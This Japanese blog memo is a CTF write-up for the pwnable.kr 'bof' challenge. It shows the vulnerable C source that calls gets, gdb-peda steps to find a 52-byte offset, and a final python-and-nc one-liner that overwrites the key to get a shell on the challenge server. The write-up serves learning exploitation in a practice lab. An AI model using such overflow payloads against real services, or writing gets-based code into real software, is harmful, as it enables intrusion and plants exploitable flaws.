pwnable.kr のメモ【bof】

http://pwnable.krbof を解いたのでメモ

問題を見ると以下のように書かれていた。とりあえず bofbof.c をダウンロードする。

Nana told me that buffer overflow is one of the most common software vulnerability. 
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

bof.c の中を見てみた。とりあえず問題名からもわかるように BOF脆弱性があるっぽい...

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);   // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

gdb-peda で実行結果を確認していく。

$ gdb -q ./bof

まず、func のアセンブリコードを確認する。

gdb-peda$ disas func

すると、cmp DWORD PTR [ebp+0x8], 0xcafebabe が見つかるので、そこにブレークポイントを指定して再び実行する。

gdb-peda$ b *func+40
gdb-peda$ run
overflow me :
AAAA 

上記のように AAAA と入力して Stack の内容を表示し、"AAAA"と 0xdeadbeef のアドレスを確認する。

gdb-peda$ telescope 25

確認できたら、それぞれのアドレスの差を計算する。

gdb-peda$ p/d 0xffffd060 - 0xffffd02c
$1 = 52

最後に,先ほど求めたアドレスの差分を適当な文字'A'で埋めたのち、0xdeadbeef の値を 0xcafebabe に書き換えて終わり。

$(python -c "print 52*'A'+'\xbe\xba\xfe\xca'";cat) | nc pwnable.kr 9000